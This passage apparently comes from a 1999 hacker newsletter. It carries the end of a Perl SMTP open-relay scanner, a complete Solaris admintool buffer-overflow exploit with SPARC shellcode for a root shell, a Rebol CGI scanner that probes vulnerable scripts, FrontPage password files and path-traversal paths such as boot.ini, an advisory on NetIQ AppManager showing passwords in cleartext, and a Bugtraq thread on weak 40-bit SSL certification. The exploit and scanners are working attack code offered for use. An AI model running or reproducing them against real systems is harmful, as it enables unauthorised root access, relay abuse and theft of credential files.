  8590.               $print_remote .= "." while(length($print_remote) < 38);
  8591.               $print_remote .= ": ";
  8592.               print "$print_remote";
  8593.               print LOG "$print_remote" if($log==1);
  8594.               &send_mail;
  8595.               $i++;
  8596.       }
  8597.       close(HOSTS);
  8598.       
  8599.       print "\nFinished Scanning. $found out of $i hosts will relay.\n\n";
  8600.       print LOG "\nFinished Scanning. $found out of $i hosts will relay.\n\n" if($log==1);
  8601.       close(LOG);
  8602.       
  8603.       
  8604.       sub send_mail
  8605.       {
  8606.               if ($port =~ /\D/) { $port = getservbyname($port, 'tcp'); }
  8607.               die("No port specified.") unless $port;
  8608.               $iaddr = inet_aton($remote) || die("Failed to find host: $remote");
  8609.               $paddr = sockaddr_in($port, $iaddr);
  8610.               $proto = getprotobyname('tcp');
  8611.               socket(SOCK, PF_INET, SOCK_STREAM, $proto) || die("Failed to open socket: $!");
  8612.               connect(SOCK, $paddr) || die("Unable to connect: $!");
  8613.       
  8614.               $smtp=<SOCK>;
  8615.               if($smtp =~ /^220 /)
  8616.               {
  8617.                       send(SOCK,$helo_string,0);
  8618.               }
  8619.       
  8620.               $smtp=<SOCK>;
  8621.               if($smtp =~ /^250 /)
  8622.               {
  8623.                       send(SOCK,$mail_from,0);
  8624.               }
  8625.       
  8626.               $smtp=<SOCK>;
  8627.               if($smtp =~ /^250 /)
  8628.               {
  8629.                       send(SOCK,$rcpt_to,0);
  8630.               }
  8631.               
  8632.               $smtp=<SOCK>;
  8633.               if($smtp =~ /^250 /)
  8634.               {
  8635.                       $found++;
  8636.                       print "relaying allowed\n";
  8637.                       print LOG "relaying allowed\n" if($log==1);
  8638.               }
  8639.               else
  8640.               {
  8641.                       print "no relaying\n";
  8642.                       print LOG "no relaying\n" if($log==1);
  8643.               }
  8644.       
  8645.               send(SOCK,"QUIT\r\n",0);
  8646.               close(SOCK);
  8647.       }
  8648.       
  8649.       @HWA    
  8650.       
  8651.  44.0 Admintool exploit for Solaris (Updated) by Shadow Penguin Security
  8652.       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  8653.       
  8654.       From PacketStorm Security http://www.genocide2600.com/~tattooman/new.shtml
  8655.       
  8656.       /*=============================================================================
  8657.          admintool Overflow Exploits( Solaris2.6 and 7 for Sparc Edition)
  8658.          The Shadow Penguin Security (http://base.oc.to:/skyscraper/byte/551)
  8659.          Written by UNYUN (unewn4th@usa.net)
  8660.          [usage]
  8661.               % setenv DISPLAY=yourdisplay:0.0
  8662.               % gcc ex_admintool.c (This example program)
  8663.               % a.out
  8664.              ( [Browse] -> [Software] -> [Edit] -> [Add] -> [Harddisk]
  8665.                -> Directory: /tmp -> [Ok] )
  8666.               #
  8667.       
  8668.          In /tmp/EXP directory, the temp files are made, please remove it.
  8669.         =============================================================================
  8670.       */
  8671.       
  8672.       #include <stdio.h>
  8673.       #include <sys/utsname.h>
  8674.       
  8675.       #define ADJUST1     2
  8676.       #define ADJUST2     1
  8677.       #define BUFSIZE1    1000
  8678.       #define BUFSIZE2    800
  8679.       #define OFFSET      3600
  8680.       #define OFFSET2     400
  8681.       
  8682.       #define PKGDIR      "mkdir /tmp/EXP"
  8683.       #define PKGINFO     "/tmp/EXP/pkginfo"
  8684.       #define PKGMAP      "/tmp/EXP/pkgmap"
  8685.       
  8686.       #define NOP         0xa61cc013
  8687.       
  8688.       char exploit_code[] =
  8689.       "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68"
  8690.       "\x90\x0b\x80\x0e\x92\x03\xa0\x0c"
  8691.       "\x94\x10\x20\x10\x94\x22\xa0\x10"
  8692.       "\x9c\x03\xa0\x14"
  8693.       "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
  8694.       "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
  8695.       "\x91\xd0\x20\x08"
  8696.       ;
  8697.       
  8698.       unsigned long get_sp(void)
  8699.       {
  8700.       __asm__("mov %sp,%i0 \n");
  8701.       }
  8702.       
  8703.       unsigned long ret_adr;
  8704.       static char   x[500000];
  8705.       FILE    *fp;
  8706.       int     i,vofs=0;
  8707.       struct utsname name;
  8708.       main()
  8709.       {
  8710.           uname(&name);
  8711.           if (strcmp(name.release,"5.7")==0) vofs=-904;
  8712.       
  8713.           system(PKGDIR);
  8714.           putenv("LANG=");
  8715.           if ((fp=fopen(PKGMAP,"wb"))==NULL){
  8716.               printf("Can not write '%s'\n",PKGMAP);
  8717.               exit(1);
  8718.           }
  8719.           fclose(fp);
  8720.       
  8721.           if ((fp=fopen(PKGINFO,"wb"))==NULL){
  8722.               printf("Can not write '%s'\n",PKGINFO);
  8723.               exit(1);
  8724.           }
  8725.           fprintf(fp,"PKG=");
  8726.       
  8727.           ret_adr=get_sp()-OFFSET+vofs;
  8728.           while ((ret_adr & 0xff000000) == 0 ||
  8729.                  (ret_adr & 0x00ff0000) == 0 ||
  8730.                  (ret_adr & 0x0000ff00) == 0 ||
  8731.                  (ret_adr & 0x000000ff) == 0)
  8732.                      ret_adr += 4;
  8733.       
  8734.           printf("Jumping address = %lx\n",ret_adr);
  8735.           memset(x,'a',4);
  8736.           for (i = ADJUST1; i < 1000; i+=4){
  8737.               x[i+3]=ret_adr & 0xff;
  8738.               x[i+2]=(ret_adr >>8 ) &0xff;
  8739.               x[i+1]=(ret_adr >> 16 ) &0xff;
  8740.               x[i+0]=(ret_adr >> 24 ) &0xff;
  8741.           }
  8742.           x[BUFSIZE1]=0;
  8743.           fputs(x,fp);
  8744.           fprintf(fp,"\n");
  8745.       
  8746.           fprintf(fp,"NAME=");
  8747.           memset(x,'a',4);
  8748.           for (i = ADJUST2; i < BUFSIZE2; i+=4){
  8749.               x[i+3]=NOP & 0xff;
  8750.               x[i+2]=(NOP >> 8 ) &0xff;
  8751.               x[i+1]=(NOP >> 16 ) &0xff;
  8752.               x[i+0]=(NOP >> 24 ) &0xff;
  8753.           }
  8754.           for (i=0; i<strlen(exploit_code); i++)
  8755.               x[i+ADJUST2+OFFSET2]=exploit_code[i];
  8756.           x[BUFSIZE2]=0;
  8757.           fputs(x,fp);
  8758.           fprintf(fp,"\n");
  8759.       
  8760.           fprintf(fp,"VERSION=1.00\n");
  8761.           fprintf(fp,"ARCH=sparc\n");
  8762.           fprintf(fp,"CLASSES=none\n");
  8763.           fprintf(fp,"CATEGORY=application\n");
  8764.           fprintf(fp,"PSTAMP=990721\n");
  8765.           fprintf(fp,"BASEDIR=/\n");
  8766.           fclose(fp);
  8767.           system("admintool");
  8768.       }
  8769.       
  8770.       
  8771.       @HWA      
  8772.       
  8773.  45.0 AppManager 2.0 for NT from NetIQ displays passwords in cleartext     
  8774.       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  8775.       
  8776.       From PacketStorm Security http://www.genocide2600.com/~tattooman/new.shtml
  8777.       
  8778.       AppManager 2.0 from NetIQ displays passwords in clear text!
  8779.       
  8780.       AppManager is a product which enables an enterprise to monitor the performance and 
  8781.       availability of Windows NT server services such as Exchange, SQL, etc.  It does this 
  8782.       via an agent on the target machine which reports back to a console.  The agents monitor 
  8783.       for things like low disk space, misbehaving services, and so on.  Like most products that 
  8784.       follow a manager/agent architecture, the agents must use an account with Administrator 
  8785.       privileges in order to do their job.  The problem is that when the authentication occurs, 
  8786.       the userid and password are passed in clear text, meaning that anyone with a sniffer can 
  8787.       read it as it goes across the wire.
  8788.       
  8789.       The other problem is that when someone with access to the AppManager console goes to look
  8790.       at a job, all he or she must do is right-click on the job, select Properties, select the 
  8791.       View tab, and voila! The userid and password that the job is using is right there for all 
  8792.       to see.  With version 3.0 they have replaced the password with asterisks, but the company 
  8793.       conceded that if someone were to copy the asterisks and paste them into a text file then the 
  8794.       password would be displayed instead of the asterisks!  More security through obscurity.
  8795.       
  8796.       The only fix so far is for an AppManager administrator to go into the Properties and 
  8797.       manually backspace over the password to remove it.  Once this is done it will not appear 
  8798.       again on any of the consoles.  However, if an "agent installation" job is run, the password
  8799.       WILL be displayed in Properties, but only for the duration on the install, which is usually
  8800.       between ten and fifteen minutes.  There is currently no way to prevent this.
  8801.       
  8802.       According to the company this is a "known issue."  After some more discussion I found that
  8803.       they have known about this for two years, yet apparently have not done anything to rectify 
  8804.       it.  They said that encrypting the authentication sequence traffic is difficult to do 
  8805.       which is one of the reasons why they haven't fixed it yet.  If their programmers can't 
  8806.       figure out in two years how to encrypt traffic then I think a another product should be
  8807.       chosen.
  8808.       
  8809.       -- Anonymous
  8810.       
  8811.       
  8812.       @HWA           
  8813.       
  8814.       
  8815.  46.0 Cgichck99 ported to Rebol from Su1d Sh3ll's .c code     
  8816.       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  8817.       
  8818.       REBOL [   Title:   "CGI Check 99"   
  8819.       Date:    27-May-1999   Author:  "deepquest 98% by loser"
  8820.       Comment: "respect and source from loser"   
  8821.       File:    %cgi-check99.r   
  8822.       Email:   deepquest@netscape.net   
  8823.       Purpose: {      Popular CGI scanner ported and improved to REBOL.   }]
  8824.       secure none
  8825.       print "CGI Scanner. Ported by loser improved by deepquest."
  8826.       prin "Site to scan: "
  8827.       site: input
  8828.       a: exists? join http:// [ site "/cgi-bin/rwwwshell.pl " ]
  8829.       if a == yes [   print "THC - Backdoor"  ]
  8830.       b: exists? join http:// [ site "/cgi-bin/phf " ]
  8831.       if b == yes [   print "PHF"     ]
  8832.       c: exists? join http:// [ site "/cgi-bin/Count.cgi " ]
  8833.       if c == yes [   print "Count.cgi"       ]
  8834.       d: exists? join http:// [ site "/cgi-bin/test.cgi " ]
  8835.       if d == yes [   print "test-cgi"        ]
  8836.       e: exists? join http:// [ site "/cgi-bin/nph-test-cgi " ]
  8837.       if e == yes [   print "nhp-test-cgi "   ]
  8838.       f: exists? join http:// [ site "/cgi-bin/nph-publish " ]
  8839.       if f == yes [   print "nph-publish"     ]
  8840.       g: exists? join http:// [ site "/cgi-bin/php.cgi " ]
  8841.       if g == yes [   print "PHP"     ]
  8842.       h: exists? join http:// [ site "/cgi-bin/handler " ]
  8843.       if h == yes [   print "handler" ]
  8844.       i: exists? join http:// [ site "/cgi-bin/webgais " ]if 
  8845.       i == yes [      print "webgais" ]
  8846.       j: exists? join http:// [ site "/cgi-bin/websendmail " ]
  8847.       if j == yes [   print "websendmail"     ]
  8848.       k: exists? join http:// [ site "/cgi-bin/webdist.cgi " ]
  8849.       if k == yes [   print "webdist.cgi"     ]
  8850.       l: exists? join http:// [ site "/cgi-bin/faxsurvey " ]
  8851.       if l == yes [   print "faxsurvey"       ]
  8852.       m: exists? join http:// [ site "/cgi-bin/htmlscript " ]
  8853.       if m == yes [   print "htmlscript"      ]
  8854.       n: exists? join http:// [ site "/cgi-bin/pfdisplay.cgi" ]
  8855.       if n == yes [   print "pfdisplay"       ]
  8856.       o: exists? join http:// [ site "/cgi-bin/perl.exe" ]
  8857.       if o == yes [   print "perl.exe"        ]
  8858.       p: exists? join http:// [ site "/cgi-bin/wwwboard.pl" ]
  8859.       if p == yes [   print "wwwboard.pl"     ]
  8860.       q: exists? join http:// [ site "/cgi-bin/www-sql " ]
  8861.       if q == yes [   print "www-sql" ]
  8862.       r: exists? join http:// [ site "/cgi-bin/view-source " ]
  8863.       if r == yes [   print "view-source"     ]
  8864.       s: exists? join http:// [ site "/cgi-bin/campas " ]
  8865.       if s == yes [   print "campas"  ]
  8866.       t: exists? join http:// [ site "/cgi-bin/aglimpse " ]
  8867.       if t == yes [   print "aglimpse"        ]
  8868.       u: exists? join http:// [ site "/cgi-bin/glimpse " ]
  8869.       if u == yes [   print "glimpse" ]
  8870.       v: exists? join http:// [ site "/cgi-bin/man.sh " ]
  8871.       if v == yes [   print "man.sh"  ]
  8872.       w: exists? join http:// [ site "/cgi-bin/AT-admin.cgi " ]
  8873.       if w == yes [   print "AT-admin.cgi"    ]
  8874.       x: exists? join http:// [ site "/cgi-bin/filemail.pl " ]
  8875.       if x == yes [   print "filemail.pl"     ]
  8876.       y: exists? join http:// [ site "/cgi-bin/maillist.pl " ]
  8877.       if y == yes [   print "maillist.pl"     ]
  8878.       z: exists? join http:// [ site "/cgi-bin/jj " ]
  8879.       if z == yes [   print "jj"      ]
  8880.       aa: exists? join http:// [ site "/cgi-bin/info2www " ]
  8881.       if aa == yes [  print "info2www"        ]
  8882.       bb: exists? join http:// [ site "/cgi-bin/files.pl " ]if 
  8883.       bb == yes [     print "files.pl"        ]
  8884.       cc: exists? join http:// [ site "/cgi-bin/finger " ]
  8885.       if cc == yes [  print "finger"  ]
  8886.       dd: exists? join http:// [ site "/cgi-bin/bnbform.cgi " ]
  8887.       if dd == yes [  print "bnbform.cgi"     ]
  8888.       ee: exists? join http:// [ site "/cgi-bin/survey.cgi " ]
  8889.       if ee == yes [  print "survey.cgi"      ]
  8890.       ff: exists? join http:// [ site "/cgi-bin/AnyForm2 " ]
  8891.       if ff == yes [  print "AnyForm2"        ]
  8892.       gg: exists? join http:// [ site "/cgi-bin/textcounter.pl " ]
  8893.       if gg == yes [  print "textcounter.pl"  ]
  8894.       hh: exists? join http:// [ site "/cgi-bin/classifieds.cgi " ]
  8895.       if hh == yes [  print "classifieds.cgi" ]
  8896.       ii: exists? join http:// [ site "/cgi-bin/environ.cgi " ]
  8897.       if ii == yes [  print "environ.cgi"     ]
  8898.       jj: exists? join http:// [ site "/cgi-bin/wrap " ]
  8899.       if jj == yes [  print "wrap"    ]
  8900.       kk: exists? join http:// [ site "/cgi-bin/cgiwrap " ]
  8901.       if kk == yes [  print "cgiwrap" ]
  8902.       ll: exists? join http:// [ site "/cgi-bin/guestbook.cgi " ]
  8903.       if ll == yes [  print "guestbook.cgi"   ]
  8904.       mm: exists? join http:// [ site "/cgi-bin/edit.pl " ]
  8905.       if mm == yes [  print "edit.pl" ]
  8906.       nn: exists? join http:// [ site "/cgi-bin/perlshop.cgi " ]
  8907.       if nn == yes [  print "perlshop.cgi"    ]
  8908.       oo: exists? join http:// [ site "/_vti_inf.html " ]
  8909.       if oo == yes [  print "_vti_inf.html"   ]
  8910.       pp: exists? join http:// [ site "/_vti_pvt/service.pwd " ]
  8911.       if pp == yes [  print "service.pwd"     ]
  8912.       qq: exists? join http:// [ site "/_vti_pvt/users.pwd " ]
  8913.       if qq == yes [  print "users.pwd"       ]
  8914.       rr: exists? join http:// [ site "/_vti_pvt/authors.pwd" ]
  8915.       if rr == yes [  print "authors.pwd"     ]
  8916.       ss: exists? join http:// [ site "/_vti_pvt/administrators.pwd " ]
  8917.       if ss == yes [  print "administrators.pwd"      ]
  8918.       tt: exists? join http:// [ site "/_vti_pvt/shtml.dll " ]
  8919.       if tt == yes [  print "shtml.dll"       ]
  8920.       uu: exists? join http:// [ site "/_vti_pvt/shtml.exe " ]
  8921.       if uu == yes [  print "shtml.exe"       ]
  8922.       vv: exists? join http:// [ site "/cgi-dos/args.bat " ]
  8923.       if vv == yes [  print "args.bat"        ]
  8924.       ww: exists? join http:// [ site "/cgi-win/uploader.exe " ]
  8925.       if ww == yes [  print "uploader.exe"    ]
  8926.       xx: exists? join http:// [ site "/cgi-bin/rguest.exe " ]if 
  8927.       xx == yes [     print "rguest.exe"      ]
  8928.       yy: exists? join http:// [ site "/cgi-bin/wguest.exe " ]
  8929.       if yy == yes [  print "wguest.exe"      ]
  8930.       zz: exists? join http:// [ site "/scripts/issadmin/bdir.htr " ]
  8931.       if zz == yes [  print "BDir - Samples"  ]
  8932.       aaa: exists? join http:// [ site "/scripts/CGImail.exe " ]
  8933.       if aaa == yes [ print "CGImail.exe"     ]
  8934.       bbb: exists? join http:// [ site "/scripts/tools/newdsn.exe " ]
  8935.       if bbb == yes [ print "newdsn.exe"      ]
  8936.       ccc: exists? join http:// [ site "/scripts/fpcount.exe " ]
  8937.       if ccc == yes [ print "fpcount.exe"     ]
  8938.       ddd: exists? join http:// [ site "/cfdocs/expelval/openfile.cfm " ]
  8939.       if ddd == yes [ print "openfile.cfm"    ]
  8940.       eee: exists? join http:// [ site "/cfdocs/expelval/exprcalc.cfm " ]
  8941.       if eee == yes [ print "exprcalc.cfm"    ]
  8942.       fff: exists? join http:// [ site "/cfdocs/expelval/displayopenedfile.cfm " ]
  8943.       if fff == yes [ print "displayopenedfile.cfm"   ]
  8944.       ggg: exists? join http:// [ site "/cfdocs/expelval/sendmail.cfm " ]
  8945.       if ggg == yes [ print "sendmail.cfm"    ]
  8946.       hhh: exists? join http:// [ site "/iissamples/exair/howitworks/codebrws.asp " ]
  8947.       if hhh == yes [ print "codebrws.asp"    ]
  8948.       iii: exists? join http:// [ site "/iissamples/sdk/asp/docs/codebrws.asp " ]
  8949.       if iii == yes [ print "codebrws.asp"    ]
  8950.       jjj: exists? join http:// [ site "/msads/Samples/SELECTOR/showcode.asp " ]
  8951.       if jjj == yes [ print "showcode.asp"    ]
  8952.       kkk: exists? join http:// [ site "/search97.vts " ]if 
  8953.       kkk == yes [    print "search97.vts"    ]
  8954.       lll: exists? join http:// [ site "/carbo.dll " ]
  8955.       if lll == yes [ print "carbo.dll"       ]
  8956.       mmm: exists? http-port open [
  8957.       scheme: 'tcp
  8958.       site "/../spool/username/mail.txt " port-id:8002]
  8959.       if mmm == yes [ print "CMail" ]
  8960.       nnn: exists? http-port open [
  8961.       scheme: 'tcp
  8962.       site "/../newuser.txt " port-id:8080]
  8963.       if nnn == yes [ 
  8964.               print "FTGte" ]
  8965.       ooo: exists? http-port open [
  8966.       scheme: 'tcp
  8967.       site "/../../../../../boot.ini " port-id:8000]
  8968.       if ooo == yes [
  8969.               print "NTMail"
  8970.       ppp: exists? http-port open [
  8971.       scheme: 'tcp
  8972.       site "/../../../winnt/repair/setup.log " port-id:2301]
  8973.       if ppp == yes [
  8974.               print "Compaq Insight"] ]
  8975.       
  8976.       @HWA      
  8977.       
  8978.  
  8979.  47.0 ICSA certifies weak crypto as secure
  8980.       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
  8981.  
  8982.       Date: Thu, 27 May 1999 00:24:26 -0700
  8983.       From: Lucky Green <shamrock@NETCOM.COM>
  8984.       To: BUGTRAQ@netspace.org
  8985.       Subject: ICSA certifies weak crypto as secure
  8986.       
  8987.       I am becoming concerned about the apparent lack of professional competence
  8988.       within even well-known segments of the security community. I hope the
  8989.       incident I discovered is an isolated one, but even a single such incident is
  8990.       disquieting.
  8991.       
  8992.       There is a site that offers credit reports to consumers called
  8993.       ConsumerInfo.com. https://www.consumerinfo.com
  8994.       
  8995.       The site owner seems to have tried to do everything right. They joined
  8996.       TrustE. They had their site certified by ICSA. They clearly have given
  8997.       security a serious thought. But the company and all its customers were
  8998.       severely let down by ICSA, since the highly confidential information
  8999.       submitted by the user to the site is insufficiently "secured" by 40bit TLS.
  9000.       And it is not as if using 128 bit would have been a challenge. The site uses
  9001.       IIS and is located in the US. (Not that deploying 40 bit crypto would be
  9002.       acceptable even outside the US).
  9003.       
  9004.       I find it frightening to think that somebody calling themselves a security
  9005.       professional might even consider certifying a site using 40bit SSL to
  9006.       protect crucial customer information. Especially a site in the financial
  9007.       sector. Certifying obfuscation as security is an unacceptable level of
  9008.       performance by any computer security professional.
  9009.       
  9010.       I would like to be able to blame simple ignorance of crypto for this deed,
  9011.       which alone would be bad enough coming from a security "professional", but I
  9012.       am afraid that's not possible since it is inconceivable that the certifying
  9013.       ICSA member was unaware that 128 bit TLS/SSL is industry standard. Instead,
  9014.       we must assume that for reasons unknown, but ultimately irrelevant, a
  9015.       certification was issued for technology the issuer knew to not afford the
  9016.       customer security or simply didn't bother to check the crypto strength.
  9017.       Either way this condemns ICSA (a member of the Gartner Group), and reflects
  9018.       very badly on our industry as a whole.
  9019.       
  9020.       --Lucky Green <shamrock@netcom.com>
  9021.         PGP 5.x  encrypted email preferred
  9022.       
  9023.       ----------------------------------------------------------------------------
  9024.       
  9025.       From: Peter Gutmann <pgut001@cs.auckland.ac.nz>
  9026.       To: BUGTRAQ@netspace.org
  9027.       Subject: Re: ICSA certifies weak crypto as secure
  9028.       
  9029.       "Lucky Green" <shamrock@netcom.com> writes:
  9030.       
  9031.       >I am becoming concerned about the apparent lack of professional competence
  9032.       >within even well-known segments of the security community. I hope the
  9033.       >incident I discovered is an isolated one, but even a single such incident is
  9034.       >disquieting.
  9035.       
  9036.       [...]
  9037.       
  9038.       >I find it frightening to think that somebody calling themselves a security
  9039.       >professional might even consider certifying a site using 40bit SSL to
  9040.       >protect crucial customer information. Especially a site in the financial
  9041.       >sector. Certifying obfuscation as security is an unacceptable level of
  9042.       >performance by any computer security professional.
  9043.       
  9044.       I think it's pretty common, in 1997 I heard of Ernst and Young in NZ certifying
  9045.       40-bit SSL as being secure for banking use.  I mentioned this in a posting to
  9046.       sci.crypt titled "Crypto for beancounters" and got several responses from
  9047.       people saying they'd had similar experiences (not necessarily with E&Y, but
  9048.       with Big 6 firms who did security audits).  The summary of the responses was:
  9049.       
  9050.       -- Snip --
  9051.       
  9052.       [...]
  9053.       
  9054.       - Getting a security system accepted is more likely if it's been reviewed by
  9055.         the company auditors, even if the people involved don't have much experience
  9056.         with the technology.
  9057.       
  9058.       - Even if the auditors don't have much crypto experience, they're generally
  9059.         very good at finding things like procedural flaws.  Most real systems fail
  9060.         because they're not used properly, not because of technical attacks.
  9061.         Accountants/auditing firms are very good at finding problems like this.
  9062.       
  9063.       - Some firms may have experience in auditing crypto, but more importantly they
  9064.         should be able to call in outside experts to check the crypto.  Requiring
  9065.         that the audit report include details of how the crypto was evaluated and (if
  9066.         external experts were used) by who would be a good idea.
  9067.       
  9068.       In summary use the auditing firm to cover security procedures, but (unless they
  9069.       have expertise in the area) leave assessment of the crypto software to known
  9070.       experts in the field and/or insist in seeing details of how the crypto was
  9071.       assessed.
  9072.       
  9073.       -- Snip --
  9074.       
  9075.       It's really just an issue of being able to prove due diligence - all you need
  9076.       is the right people to check the "Uses encryption" box and you're OK.  Whether
  9077.       the encryption is any good or not is largely irrelevant, at least for the
  9078.       purposes of the exercise, which is to pass the audit.
  9079.       
  9080.       Peter.
  9081.       
  9082.       ----------------------------------------------------------------------------
  9083.       
  9084.       Date: Thu, 27 May 1999 16:14:17 -0400
  9085.       From: Jon McCown <jmccown@ICSA.NET>
  9086.       To: BUGTRAQ@netspace.org
  9087.       Subject: ICSA - Certified Sites and Criteria Issues
  9088.       
  9089.       -----BEGIN PGP SIGNED MESSAGE-----
  9090.       
  9091.       While I am constrained by NDAs from discussing the specific issues of
  9092.       any particular ICSA customer's security issues or policy, I will
  9093.       respond "in general" to Lucky Green's posting regarding the use of
  9094.       40-bit cryptography as part of an ICSA certified configuration.
  9095.       
  9096.       Participants in our site certification program (TruSecure) are
  9097.       required to meet in excess 200 criteria elements; covering such issues
  9098.       as physical security, business continuity, personnel management,
  9099.       network architecture, patches and updates, privacy, and sensitive
  9100.       information handling.    Nearly all of the criteria elements are
  9101.       driven by the customer's security and operational policy-- which is
  9102.       derived from their business objectives and risk management approach.
  9103.       
  9104.       The 'specific' criteria elements which govern the use of cryptography
  9105.       in the context of the customer site are (verbatim):
  9106.       
  9107.       HUF0007:    The handling procedures, security measures, and
  9108.       classifications for sensitive information are documented in a
  9109.       Sensitive Data Policy.   The procedures identified in the policy are
  9110.       in place.
  9111.       HUF0014:    The site's Internet Security Policy, as documented on form
  9112.       TS012.01 - Security Posture and Policy, has been implemented
  9113.       HUF0027:    If client data is gathered by the target, then the site
  9114.       must publish online its site visitor privacy, and user data security
  9115.       policies.
  9116.       SVC0034:    Sensitive Information, as identified in HUF0007 is
  9117.       encrypted and uses protocols which are acceptable to both the host and
  9118.       user.
  9119.       [in this context the "host" is the site operator and the "user" is
  9120.       their client base]
  9121.       
  9122.       In this context  _is_ possible for a customer to mandate (via their
  9123.       own policy) use of whatever levels of cryptography they view as being
  9124.       appropriate to their business model and customer requirements.   For
  9125.       example, if a customer policy specifies 128-bit TLS,
  9126.       client-certificates, and token-based auth--  they will be validated at
  9127.       that level.   And if validating the server's identity to the end-user,
  9128.       or no-hassle compatibility with zillions of consumers' bargain-club-PC
  9129.       40-bit browsers is a goal-- a different policy might well result.
  9130.       
  9131.       Yes, we (ICSA Labs) do agree that 40-bit/8-second, and even 56-bit
  9132.       encryption have become low-hanging-fruit on the confidentiality tree.
  9133.        The Gilmore/EFF demonstrations and recent IETF SAG discussions have
  9134.       put that writing on the wall.   Do we need to add an "appropriate
  9135.       crypto strength" element to the TruSecure criteria?  Yes I guess we
  9136.       do.
  9137.       
  9138.       - - Jon McCown, ICSA Labs
  9139.       
  9140.       
  9141.       
  9142.       -----BEGIN PGP SIGNATURE-----
  9143.       Version: PGP 5.5.5
  9144.       
  9145.       iQCVAwUBN02nmaN04bWY62GPAQEwwgP/aJLdrxCNRkRJAtp9mdbVb2+tZttwiLbI
  9146.       77gbVtbyrFG29iqp/qs0zIz4+ZS73+8fGqisaWgFyRiaM1FJhLXyjQbRVrUkAqJq
  9147.       F/5cTmuTF9DOwsada+l8iq9ZO+VNk2AAo/TJnqaW3Y0/cNn2+XmA3edSgAEydO5D
  9148.       Ox4VuVRLLCo=
  9149.       =Mkwn
  9150.       -----END PGP SIGNATURE-----
  9151.       
  9152.       ----------------------------------------------------------------------------
  9153.       
  9154.       Date: Thu, 27 May 1999 16:06:17 -0700
  9155.       From: Lucky Green <shamrock@NETCOM.COM>
  9156.       To: BUGTRAQ@netspace.org
  9157.       Subject: Re: ICSA - Certified Sites and Criteria Issues
  9158.       
  9159.       > From: Jon McCown [mailto:jmccown@icsa.net]
  9160.       > In this context  _is_ possible for a customer to mandate (via their
  9161.       > own policy) use of whatever levels of cryptography they view as being
  9162.       > appropriate to their business model and customer requirements.   For
  9163.       > example, if a customer policy specifies 128-bit TLS,
  9164.       > client-certificates, and token-based auth--  they will be validated at
  9165.       > that level.   And if validating the server's identity to the end-user,
  9166.       > or no-hassle compatibility with zillions of consumers' bargain-club-PC
  9167.       > 40-bit browsers is a goal-- a different policy might well result.
  9168.       
  9169.       Now I am really getting worried. From your post it is clear that you, a
  9170.       representative of ICSA, are unaware that by enabling 128 bit TLS/SSL on a
  9171.       server you by no means prevent users limited to 40 bit crypto from accessing
  9172.       it.
  9173.       
  9174.       Sure, a server can be specifically configured to not allow access by 40 bit
  9175.       browsers, but the overwhelming majority of 128 bit capable websites support
  9176.       both 128 and 40 bit crypto and will automatically use the highest strength
  9177.       supported by the browser. No incompatibility issues are introduced by
  9178.       enabling full-strength crypto.
  9179.       
  9180.       The site certified by ICSA did not support 128 bit crypto even to browsers
  9181.       that support it. Which is, IMHO, unacceptable for a site that had their
  9182.       security checked by an audit.
  9183.       
  9184.       --Lucky
  9185.       
  9186.       ----------------------------------------------------------------------------
  9187.       
  9188.       Date: Thu, 27 May 1999 19:23:19 -0400
  9189.       From: Russ <Russ.Cooper@RC.ON.CA>
  9190.       To: BUGTRAQ@netspace.org
  9191.       Subject: Re: ICSA - Certified Sites and Criteria Issues
  9192.       
  9193.       If ICSA is
  9194.       
  9195.       "constrained by NDAs from discussing the specific issues of any
  9196.       particular ICSA customer's security issues or policy"
  9197.       
  9198.       and
  9199.       
  9200.       "Nearly all of the criteria elements are driven by the customer's
  9201.       security and operational policy-- which is derived from their business
  9202.       objectives and risk management approach."
  9203.       
  9204.       and you say
  9205.       
  9206.       "Do we need to add an "appropriate crypto strength" element to the
  9207.       TruSecure criteria?  Yes I guess we do."
  9208.       
  9209.       then what, pray tell, should a consumer visiting
  9210.       
  9211.       https://www.consumerinfo.com/n/security.htm?htm+l
  9212.       
  9213.       glean from the fact that the page linked on their site from your ICSA
  9214.       icon contains the following;
  9215.       
  9216.       "ConsumerInfo.Com employs sophisticated encryption"
  9217.       
  9218.       and further states;
  9219.       
  9220.       "In addition to employing these high-security measures, ConsumerInfo.Com
  9221.       has undergone the rigorous certification process for the International
  9222.       Computer Security Association's (ICSA) Web Certification program. This
  9223.       process examined every aspect of our security precautions, encompassing
  9224.       an on-site inspection of our facility for physical security and policy
  9225.       plus a remote assessment of our potential vulnerabilities to web-based
  9226.       attacks. In addition, the ICSA's certification is a continuous process,
  9227.       repeated several times during the year and renewed annually, so you know
  9228.       ConsumerInfo.Com's security measures are state-of-the-art."
  9229.       
  9230.       However, the bottom line is that;
  9231.       
  9232.       - They are *NOT* employing "sophisticated encryption", they're employing
  9233.       the least sophisticated deployable.
  9234.       
  9235.       - They also say ICSA "examined every aspect of our security
  9236.       precautions", but in fact, you only examined those aspects defined in
  9237.       their policies.
  9238.       
  9239.       - They also claim that because of your certification, their customers
  9240.       "know ConsumerInfo.Com's security measures are state-of-the-art" when in
  9241.       fact their *NOT*.
  9242.       
  9243.       I will not, at this time, question the integrity of ICSA. Nor will I
  9244.       suggest that ConsumerInfo.Com is out and out lying.
  9245.       
  9246.       I will, however, suggest that ICSA is tacitly allowing ConsumerInfo.Com
  9247.       to mislead their customers via the ICSA Web Certification approval. By
  9248.       ICSA not being permitted, by NDA, to discuss certification they have
  9249.       performed, it renders, IMNSHO, the certification itself *worthless*. It
  9250.       would appear that ConsumerInfo.Com has been allowed to say anything they
  9251.       want about their work with ICSA and, by NDA, ICSA cannot rebuke it.
  9252.       
  9253.       ICSA Web Certification reports should be public, or, not trusted.
  9254.       
  9255.       Cheers,
  9256.       Russ - NTBugtraq Editor
  9257.       
  9258.       ----------------------------------------------------------------------------
  9259.       
  9260.       Date: Thu, 27 May 1999 18:46:47 -0400
